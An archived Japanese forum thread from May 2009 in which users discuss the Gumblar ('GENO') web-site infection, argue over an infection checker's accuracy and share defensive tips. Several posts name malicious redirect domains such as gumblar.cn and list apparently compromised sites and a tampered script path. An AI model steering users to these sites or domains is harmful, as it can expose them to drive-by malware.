いたたたた・・・・

752:名無しさん@お腹いっぱい。
09/05/25 23:23:35
大した出来でもないのに欲出してアフィ貼るから叩かれる
クオリティ高けりゃアフィ貼っても絶賛されるだろうよ

753:名無しさん@お腹いっぱい。
09/05/25 23:48:31
と無能がおっしゃっております

754:名無しさん@お腹いっぱい。
09/05/25 23:49:22
なるほど、アフォを貼ったのか

755:名無しさん@お腹いっぱい。
09/05/25 23:52:41
前田五郎休養で坂田師匠大ショック

756:名無しさん@お腹いっぱい。
09/05/25 23:54:29
%の根拠が示されないのはどうかと思う
どういう基準で出してるのか不明なので混乱を招くことになる

757:名無しさん@お腹いっぱい。
09/05/25 23:56:51
そろそろ管理人がBe付きで出現しても良い頃合いじゃないか
或いは相手にしてもらえてないか

758:名無しさん@お腹いっぱい。
09/05/26 00:01:22
プロバイダがOCNなんでそのまま無料ホムペ使ってますが、
うpはFTPじゃないとだめなんすねorz

ところで、ソースに埋め込まれるのって外部データを読み込む動作ですよね?
OCNの無料ホムペって自作CGIとか、拡張子phpもダメなんで、外部のデータ
読み込めないイメージなんだけど、GENOの動作には関係ないですか?

初心者ですみません 以前GENOの症状例か何かで拡張子phpのデータを
見た気がして気になってたもので…

759:名無しさん@お腹いっぱい。
09/05/26 00:05:24
>>757
もうBe付では出てこないんじゃないの
名無しでは湧いてるだろうけど

760:名無しさん@お腹いっぱい。
09/05/26 00:08:37
最近2chのスレ開くとavastさんがGENO警報出すんだけど何事
ニュー即のこのスレとか

  お  ま  え  ら  仕  事  は  ? 
スレリンク(news板)

761:名無しさん@お腹いっぱい。
09/05/26 00:13:15
>>760

>>735


762:名無しさん@お腹いっぱい。
09/05/26 00:15:39
>>294
これがなければ普通に良い人で終わってたのに

763:名無しさん@お腹いっぱい。
09/05/26 00:20:15
チェッカーの人叩くつもりは全く無いし
むしろ凄いって思ってるよ
だからセキュ板のこと叩かないでね
他のGENOスレも叩かないでね

764:名無しさん@お腹いっぱい。
09/05/26 00:20:56
この件に限ったことじゃないけど
己の懐が痛むわけでもないのにアフィ撲滅に必死になってる奴の動機がよくわからん
だいたい撲滅したいなら尼のほうに抗議すりゃいいのに

765:名無しさん@お腹いっぱい。
09/05/26 00:21:35
>>758
おそらくわけがわからない状態で混乱してると思うんだけど
エスパーするとGenoの動作には関係ないです

html、JavaScript、PHPあたりのファイルにはスクリプトの埋め込みが
確認されていたと思います
自分のPCが心配ならとりあえずスレの上のほうを確認してください

766:名無しさん@お腹いっぱい。
09/05/26 00:24:54
>>761
ありがとう安心した

767:名無しさん@お腹いっぱい。
09/05/26 00:26:54
あの人嫌儲民かもしれないんだよなぁ
URLリンク(2ch.tc)
URLリンク(2ch.tc)

768:名無しさん@お腹いっぱい。
09/05/26 00:29:24
サーバーの転送量がやばいからアフィリエイトつけてんだろが
運用でやらかしたのはGENOとは関係ない

769:名無しさん@お腹いっぱい。
09/05/26 00:29:34
://www.g-b-dog.com/g-b-dog/aloma_erabikata.htm
このURLをチェッカーで調べると1000%と出るけどGENOウィルス?

770:名無しさん@お腹いっぱい。
09/05/26 00:30:20
>>767
どういうこと?

771:名無しさん@お腹いっぱい。
09/05/26 00:30:22
>>764
この件に関しては嫌儲もあるんだろうけど
チェッカーの精度と情報開示に疑問を感じてる人達もいると思うんだが

772:名無しさん@お腹いっぱい。
09/05/26 00:31:38
URLリンク(www.malwaredomainlist.com)

773:名無しさん@お腹いっぱい。
09/05/26 00:32:23
アフィよりもチェッカーの出来と宣伝スタイルとスキルに疑問を持ってるのですが

774:名無しさん@お腹いっぱい。
09/05/26 00:33:20
>>769
トップページから感染してます

775:名無しさん@お腹いっぱい。
09/05/26 00:33:20
そもそも1000%という表記からして厨臭いとおもうんだ

776:名無しさん@お腹いっぱい。
09/05/26 00:33:53
凄いモノを作って下さったのだから
余計なことは言うべきではないと思うのです

また多分荒れるから話さないほうがいい。

777:名無しさん@お腹いっぱい。
09/05/26 00:35:30
>>776
荒れるというより荒されるって感じだけどな

778:758
09/05/26 00:37:37
>>765
ご親切に教えていただいてありがとうございますです。m(__)m
自分のPCはその方法で、自サイトもソース全部確認したので、
今のところは大丈夫だと思うのですが、FTPしか使えない以上は
暫く更新控えようかなと思って

配布元が死んでるそうですが、どんな亜種が出てくるかわからないし

というか、ネットするだけで(悪意の無いお友達サイト見るだけで)
危ないなんて大変な事なのに、全然ニュースにもならないし
知り合いのサイトで突然知ってビックリした次第であります

779:名無しさん@お腹いっぱい。
09/05/26 00:40:42
>>778
横レスでごめん
当方もサイト運営してるけど対策していればサイトの更新しても大丈夫だよ
自分も更新しまくってるから

780:名無しさん@お腹いっぱい。
09/05/26 00:49:07
精度が低かったら叩くという意味がわからん
もっといいの作るなりすれば済む話じゃねえの

781:名無しさん@お腹いっぱい。
09/05/26 00:49:39
>>776
チェッカーのページのテンプレ?については有用だと思うしアフィも問題ない
けどチェッカー自体は凄いのか?
亜種への対策として判定条件を緩くするのはいいけど、
せめて判定基準を明示してほしいとは思う

782:758
09/05/26 00:53:18
>>779
おお、ありがとうございますッ!

何だか知り合いがこぞって更新停止を宣言してるんで、
とりあえず止めるしかないのかって感じでした
PCの状態確認しつつ頑張ってみまふ

783:名無しさん@お腹いっぱい。
09/05/26 00:53:36
>>780
釣りなら他所でやれ

784:名無しさん@お腹いっぱい。
09/05/26 00:54:44
チェッカー叩きがこのスレに沿ってるわけでもないけどね

785:名無しさん@お腹いっぱい。
09/05/26 00:55:33
腐女子叩きだとチェッカー叩きだのよく脱線して叩きをするのが大好きな奴がいるんだなあ

786:名無しさん@お腹いっぱい。
09/05/26 00:56:28
話すネタないし~

787:名無しさん@お腹いっぱい。
09/05/26 00:57:02
流石にもう次スレいらないかもな

788:名無しさん@お腹いっぱい。
09/05/26 00:58:04
でたもう次スレいらない厨

789:名無しさん@お腹いっぱい。
09/05/26 01:02:19
>>781
>判定基準を明示してほしいとは思う

これを管理人に伝えた人はいるのか? おれはソースチェッカーしか使って無いからよくわからんな。

790:名無しさん@お腹いっぱい。
09/05/26 01:02:27
もうfc2は安心?

791:名無しさん@お腹いっぱい。
09/05/26 01:03:27
そんな時のテンプレ回答しとけよ。

>>787
GENO社員乙

792:名無しさん@お腹いっぱい。
09/05/26 01:05:40
>>788,791
俺はいつもの人と違う人だぜ

いや、別に次スレ立ててもいいけどこれ以上何を話すんだよ
ろくでもない質問しか来ない予感

793:名無しさん@お腹いっぱい。
09/05/26 01:06:26
378 名前:Socket774[] 投稿日:2009/05/25(月) 14:40:04 ID:Xd8gaLc7
GENOでポイント照会すると、他人のIDが出て来ちゃう(>_<)

381 名前:378[sage] 投稿日:2009/05/25(月) 15:25:46 ID:Xd8gaLc7
>>380
なりすましじゃないよ。
注文照会したら、「注文された商品はありません」ってなってたから、
おかしいって思って、ポイント照会したら、他人のIDがでてきた。
で、会員情報の修正って所をクリックしたら…。

382 名前:Socket774[] 投稿日:2009/05/25(月) 15:33:03 ID:b7/1msFI
ほんとだ。ログインし直しても、他人の名前とIDとポイント獲得歴が出てしまい、
自分の情報が閲覧できないぞ。

383 名前:378[sage] 投稿日:2009/05/25(月) 15:34:19 ID:Xd8gaLc7
>>382
だろ。
自分の個人情報も変えれねーwww

386 名前:Socket774[] 投稿日:2009/05/25(月) 15:52:26 ID:b7/1msFI
他人の情報(氏名・ID・ポイント獲得歴)が丸見えだ~!

【顧客相手に】GENOを語るスレ24【サイバージェノサイド】
スレリンク(jisaku板)

794:名無しさん@お腹いっぱい。
09/05/26 01:12:28
おい、お前ら

ここの下の方にあるドメインの羅列は要注意サイトみたいだぜ

URLリンク(www.mouse0232.com)

795:名無しさん@お腹いっぱい。
09/05/26 01:17:56
>>794の1行目が目玉オヤジの声で再生された・・・

憑かれてるんだな。


今北産業
とりあえずもうアンチウイルスソフトで検出可能?(オンライン除く

796:名無しさん@お腹いっぱい。
09/05/26 01:19:23
>>795の全行がオヤジの声で再生された・・・

797:名無しさん@お腹いっぱい。
09/05/26 01:29:41
また倒産すんのか

798:名無しさん@お腹いっぱい。
09/05/26 01:33:57
今さっきとあるサイトでGENOウイルを踏んでしまいました;;
間違ってボタン押したらぶわああああああってブラウザがたくさんでてきて
ビックリしたので電源切ったのですが、もう感染してるのでしょうか・・?
ウイルスソフトはなにも反応しませんでした。。
PCはvistaです。。
感染していたらどうなってしまうのでしょうか。。とあるサイトではvistaでは平気?
と書いてありましたが心配です。。。

799:名無しさん@お腹いっぱい。
09/05/26 01:36:30
>>798
それはGENOウイルスではなく、ブラクラ(ブラウザクラッシャー)と言います。

単にウィンドウを多量に開くだけのものと、マルウェアを数十個一気に入れさせようとする危険なものがあります。
セキュリティソフトがなんも言わなかったなら、たんに操作不能にさせるだけのブラクラだったのでしょう。

800:名無しさん@お腹いっぱい。
09/05/26 01:40:31
常時、javascriptを切ってるからGENO汚染状態のサイトだろうが平気で踏めるぜ!
・・・・・・・死ぬほど不便だけど

801:名無しさん@お腹いっぱい。
09/05/26 01:46:54
>>799
ブラクラというものだったんですね!?消しても消しても同じブラウザが
でてきてました。。普通のサイトで誰でも押すような検索ボタンなので
ほんとビックリしました。。
セキュリティソフトは全く反応しませんでした。。
ありがとうございます。個人情報、トロイなど潜んでたらどうしようって
心配だったので安心しました;;
ほんとありがとうございました。

802:名無しさん@お腹いっぱい。
09/05/26 01:52:10
>>801
JS切るだけだと、SWFとかPDFを直で埋め込まれたサイトには無力。
その程度の亜種はゴロゴロしてても不思議じゃないと思うのだが。

・・・というか、ブラウザ自体の脆弱性が落ち着いてきた最近、諸悪の根源はAdobeへと移りつつあるように思う。
基本的に、必要ないサイトではプラグイン自体を無効にすべし。

IEとOperaに関しては、エンジン公式ブラウザの内蔵機能のみでプラグインを一時停止できる。他は知らん。


803:名無しさん@お腹いっぱい。
09/05/26 01:57:27
どこにそういうサイトがあるのか知らないけど
>>800はたぶんNoScriptだろ
フラッシュもPDFもダウンロードしない

804:名無しさん@お腹いっぱい。
09/05/26 01:59:47
GENOに関してはたまたまAdobeだっただけ
もっとも、普及率が高いと思われるから狙われるのだが
exploit系のツールはロシア製が多い

805:名無しさん@お腹いっぱい。
09/05/26 02:01:00
ざんぎえふ

806:名無しさん@お腹いっぱい。
09/05/26 02:03:55
>>803
firefoxも使ってるがその時はブラウザ自体のjavaも切ってる
基本、opera使ってるね
pdf readerは抹消済

807:名無しさん@お腹いっぱい。
09/05/26 02:07:48
JavaScriptをJavaと略すなと

808:名無しさん@お腹いっぱい。
09/05/26 02:11:08
ニムダが流行ったときも盛り上がった?

809:名無しさん@お腹いっぱい。
09/05/26 02:11:19
>>807
失礼
firefox上では、flashやsilverlightなども制御できるnoscriptに加えてブラウザ自体のjava scriptも無効にしている

810:名無しさん@お腹いっぱい。
09/05/26 02:20:54
>>802
直で埋め込むとか前処理もできないし難読化もできないしなんか利点あるの

811:名無しさん@お腹いっぱい。
09/05/26 02:27:08
>>810
直に埋め込む、の意味を勘違いしてないか?

812:名無しさん@お腹いっぱい。
09/05/26 02:53:03
最近explorer.exeや一部のブラウザが異常終了があるな・・・やばい

813:名無しさん@お腹いっぱい。
09/05/26 02:55:48
カスペ使ってるからだったりして

814:名無しさん@お腹いっぱい。
09/05/26 02:57:11
OS(XP)を弄り過ぎてるからノートン先生のFWの履歴で
exproler.exeがよく怒られているが強制終了はないなぁ

815:名無しさん@お腹いっぱい。
09/05/26 03:13:30
>>811
意味が分からん
embedかobject使うんじゃないの

816:名無しさん@お腹いっぱい。
09/05/26 07:33:57
>>769
gumblar.cn

817:名無しさん@お腹いっぱい。
09/05/26 07:36:06
URLリンク(www.g-b-dog.com)

818:名無しさん@お腹いっぱい。
09/05/26 07:44:31
firefoxってキツネじゃなくてレッサーパンダの俗称なんだぜ
豆知識な

819:名無しさん@お腹いっぱい。
09/05/26 07:48:05
しかしアイコンのキャラもマスコットのフォクすけも
両方しっぽが炎のキツネなんだぜ
小豆知識な

820:名無しさん@お腹いっぱい。
09/05/26 10:52:19
対策も出来ないで同じ事繰り返して何してるの?

821:802
09/05/26 11:06:50
>>810
前処理に関しては、Apache側の設定ファイルが弄れる場合限定だが、UAで振り分けできなくもなかったはず。
難読化はJSカットユーザ攻撃とのトレードオフ

というかそもそも、Adobe製プラグインに警戒すべしってのは現行GENOに限定した話で言ったわけではないつもり。
ど素人が気づけて、リバースエンジニアリングでも楽に直せる程度のバグがメジャーバージョンが2あがっても放置されっぱなしの企業なんで信用できない。

>>811 >>815
自分の書いた直で埋めるってのはembedやobjectで合ってる。

822:名無しさん@お腹いっぱい。
09/05/26 11:27:27
スピア型なら直に埋め込むのもいいだろうが
マス型だと感染しやすい環境を選択するためにもJavaScriptは必須だろ
JavaScriptが動く時点で感染しやすい環境の候補でもある

823:_
09/05/26 11:50:19
URLリンク(www.senlights.co.jp)
ここ、26日の0時ごろに踏んじゃったんだけど大丈夫だったかな?(現在pcに異常は出ていないけど)


現在は0パーのようだが

824:名無しさん@お腹いっぱい。
09/05/26 11:54:50
ソース見ろよカス

825:名無しさん@お腹いっぱい。
09/05/26 11:56:28
>>823
そこは埋め込みではなく単独のJavaScriptが改竄されていてmartuz●cn行き。
martuz●cnが死んでるから今のところ感染はしないだろうけど。

826:名無しさん@お腹いっぱい。
09/05/26 12:34:17
ニューバージョンと2種類埋め込んであるな
www.senlights.co.jp/Scripts/AC_RunActiveContent.js

827:名無しさん@お腹いっぱい。
09/05/26 12:35:20
sqlsodbc.chmが0バイト
簡便してちょー

828:名無しさん@お腹いっぱい。
09/05/26 12:38:48
>>823
感染サイトが0パーって、チェッカーの意味あんの?

829:_
09/05/26 12:46:15
わかんね

とりあえず役立たず>824は死ねよカスオタ

830:名無しさん@お腹いっぱい。
09/05/26 12:49:50
www.ti-a-ra.com
www1.odn.ne.jp/revue1999
www.k-q-bury.com
どうなのこれw


831:名無しさん@お腹いっぱい。
09/05/26 12:50:43
そんな誰が作ったかわかんないような検査ソフト???よく使う気になれるな

832:名無しさん@お腹いっぱい。
09/05/26 12:57:38
非感染サイトに100%出したり感染サイトに0%出すチェッカーなら俺でも作れるな
俺もアフィやって稼ぐか

833:_
09/05/26 12:58:23
ハッタリバカw

834:名無しさん@お腹いっぱい。
09/05/26 12:59:59
今日は感染サイトの管理人に凸しないのかよパソオタども

835:_
09/05/26 13:00:33
誰か早く鑑定しろよカスども

836:名無しさん@お腹いっぱい。
09/05/26 13:00:58
なにこいつ

837:名無しさん@お腹いっぱい。
09/05/26 13:01:29
まとめ見て対策してくださいね(笑)

838:名無しさん@お腹いっぱい。
09/05/26 13:01:57
いかぽの旅館さんお疲れ様です

839:_
09/05/26 13:02:09
頼むよカスども

840:名無しさん@お腹いっぱい。
09/05/26 13:03:29
www.ti-a-ra.com
www1.odn.ne.jp/revue1999
www.k-q-bury.com
どうなのこれw


841:名無しさん@お腹いっぱい。
09/05/26 13:05:31
わからないから放置しちゃいますね^^

842:名無しさん@お腹いっぱい。
09/05/26 13:08:05
www.ti-a-ra.com
www1.odn.ne.jp/revue1999
www.k-q-bury.com
どうなのこれw


843:名無しさん@お腹いっぱい。
09/05/26 13:08:25
www.ti-a-ra.com
www1.odn.ne.jp/revue1999
www.k-q-bury.com
どうなのこれw


844:名無しさん@お腹いっぱい。
09/05/26 13:10:45
これお前らだろ
URLリンク(fukuzen.seesaa.net)
こんな事でしか自己主張できないってきもいよ

845:_
09/05/26 13:11:58
全くだ
役立たずなカスどもはこれだから・・・・・

846:名無しさん@お腹いっぱい。
09/05/26 13:12:05
感染しちゃったwebサイトの謝罪まだー?(笑)

847:_
09/05/26 13:13:19
GENO謝罪スルーなんだよな もうあそこは終わりだな

848:名無しさん@お腹いっぱい。
09/05/26 13:14:15
リア厨が沸いてるな

849:_
09/05/26 13:15:12
全くだ
カスリア厨、役にたたないよね

850:名無しさん@お腹いっぱい。
09/05/26 13:16:15
危険度1
ユーザに対する脅威になる可能性はほぼ皆無で、話題に取り上げられることも
ほとんどありません。蔓延しているという被害届けもないタイプです。

危険度2
危険性が低いか、または中程度(しかし、さほどの影響はなく、対処も十分可能)
、あるいは、大規模な被害または増殖活動を行わないタイプのもので、
特性によってはニュースで大きく取り上げられるウィルスがこの部類に入ります。

危険度3
かなり蔓延度が高い(有害性は低く、抑制可能)か、あるいは、蔓延した場合に
危険な(かつ抑制不可能)タイプです。

危険度4
危険な脅威タイプで、抑制も困難です。
最新のウィルス定義をすぐにダウンロードして、事態に備えてください。

危険度5
非常に危険なタイプの脅威で、抑制も極めて困難です。
このタイプの脅威に備えるには、最新のウィルス定義をただちに
ダウンロードし、全てのマシン上でウィルススキャンを実行してください。


851:名無しさん@お腹いっぱい。
09/05/26 13:17:43
ドスパラスレかとおもた

852:名無しさん@お腹いっぱい。
09/05/26 13:18:36
どのへんが?

853:名無しさん@お腹いっぱい。
09/05/26 13:19:13
謝罪しろよ謝罪















おれは踏んでないけどwwwwww

854:名無しさん@お腹いっぱい。
09/05/26 13:19:31
【枯れリア】ドスパラってどうよ 55【カスリア】
スレリンク(pc板)

855:名無しさん@お腹いっぱい。
09/05/26 13:19:52
どれが?

856:名無しさん@お腹いっぱい。
09/05/26 13:20:38

URLリンク(fukuzen.seesaa.net)


857:名無しさん@お腹いっぱい。
09/05/26 13:20:40
なにが?

858:名無しさん@お腹いっぱい。
09/05/26 13:22:22
また担当福田(TT)さんが湧いてるのか

859:名無しさん@お腹いっぱい。
09/05/26 13:28:17
は?意味わからんし

860:名無しさん@お腹いっぱい。
09/05/26 13:29:09
なにそれ妄想癖?

861:名無しさん@お腹いっぱい。
09/05/26 14:27:28
この手のウイルスは全てGENOウイルス、GENOウイルスの亜種っていやー分かるな

862:_
09/05/26 14:59:11
なんだレスまだかよ

カスどもマジ使えねえwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

863:名無しさん@お腹いっぱい。
09/05/26 15:02:24
>>857
どれが?

864:名無しさん@お腹いっぱい。
09/05/26 15:05:14
お前ID:Hx9+/5Qd0だろ

865:名無しさん@お腹いっぱい。
09/05/26 15:16:59
>>863
なにが?

866:名無しさん@お腹いっぱい。
09/05/26 15:21:11
えっ

867:名無しさん@お腹いっぱい。
09/05/26 15:22:47
えっ

868:名無しさん@お腹いっぱい。
09/05/26 15:24:07
>>865
どれが?

869:名無しさん@お腹いっぱい。
09/05/26 15:24:13
なにそれこわい

870:名無しさん@お腹いっぱい。
09/05/26 15:30:11


871:名無しさん@お腹いっぱい。
09/05/26 15:31:17
えっ

872:名無しさん@お腹いっぱい。
09/05/26 15:34:37
わきが?

873:名無しさん@お腹いっぱい。
09/05/26 15:35:09
>>868
なにが?

874:名無しさん@お腹いっぱい。
09/05/26 15:42:17
ああああああああああああああああ、わ、わんこがぁぁぁぁぁぁ

875:名無しさん@お腹いっぱい。
09/05/26 15:45:12
今日も感染した奴にメール送ってあげないんですか?

876:名無しさん@お腹いっぱい。
09/05/26 15:49:06
ポート135を閉じたいんですがコントロールパネルの中に管理ツールが見つかりません。
どこにありますか?

877:名無しさん@お腹いっぱい。
09/05/26 15:51:45
管理ツールはコントロールパネルのなかにあるよ

878:名無しさん@お腹いっぱい。
09/05/26 15:55:04
コントロールパネル開いても管理ツールって書いてないんですが
何か間違ってるんでしょうか・・・

879:名無しさん@お腹いっぱい。
09/05/26 15:59:39
ご愁傷様

880:名無しさん@お腹いっぱい。
09/05/26 16:05:55
クラシック表示に切り替えたら出てきました。
ありがとうございました。

881:名無しさん@お腹いっぱい。
09/05/26 16:14:11
スタートアップの種類が半透明で自動になってて無効にできないんですが
何をすればいいですか?

882:名無しさん@お腹いっぱい。
09/05/26 16:16:16
【キャッシュ消せ!】Webショップ「GENO」で個人情報流出…か?
スレリンク(news板)

883:名無しさん@お腹いっぱい。
09/05/26 16:28:07
終 息 宣 言

884:名無しさん@お腹いっぱい。
09/05/26 16:58:03
>>883
GENO社員乙

885:名無しさん@お腹いっぱい。
09/05/26 17:08:37
シャイーン(*^-^)b

886:名無しさん@お腹いっぱい。
09/05/26 17:11:17
>>864

違うし。これだからカスヤローは

887:名無しさん@お腹いっぱい。
09/05/26 17:15:42
>>883


888:名無しさん@お腹いっぱい。
09/05/26 17:18:13
GEOウイルス

889:名無しさん@お腹いっぱい。
09/05/26 17:37:18
こら、他の会社を巻き込むなw

890:名無しさん@お腹いっぱい。
09/05/26 17:40:04
【キャッシュ消せ!】Webショップ「GENO」で個人情報流出…か?
スレリンク(news板)

891:名無しさん@お腹いっぱい。
09/05/26 17:56:10
>>882
俺のサブPCがgenoいってそのままだったような

>>883
社員乙wwww


次ページ
最新レス表示
レスジャンプ
類似スレ一覧
スレッドの検索
話題のニュース
おまかせリスト
オプション
しおりを挟む
スレッドに書込
スレッドの一覧
暇つぶし2ch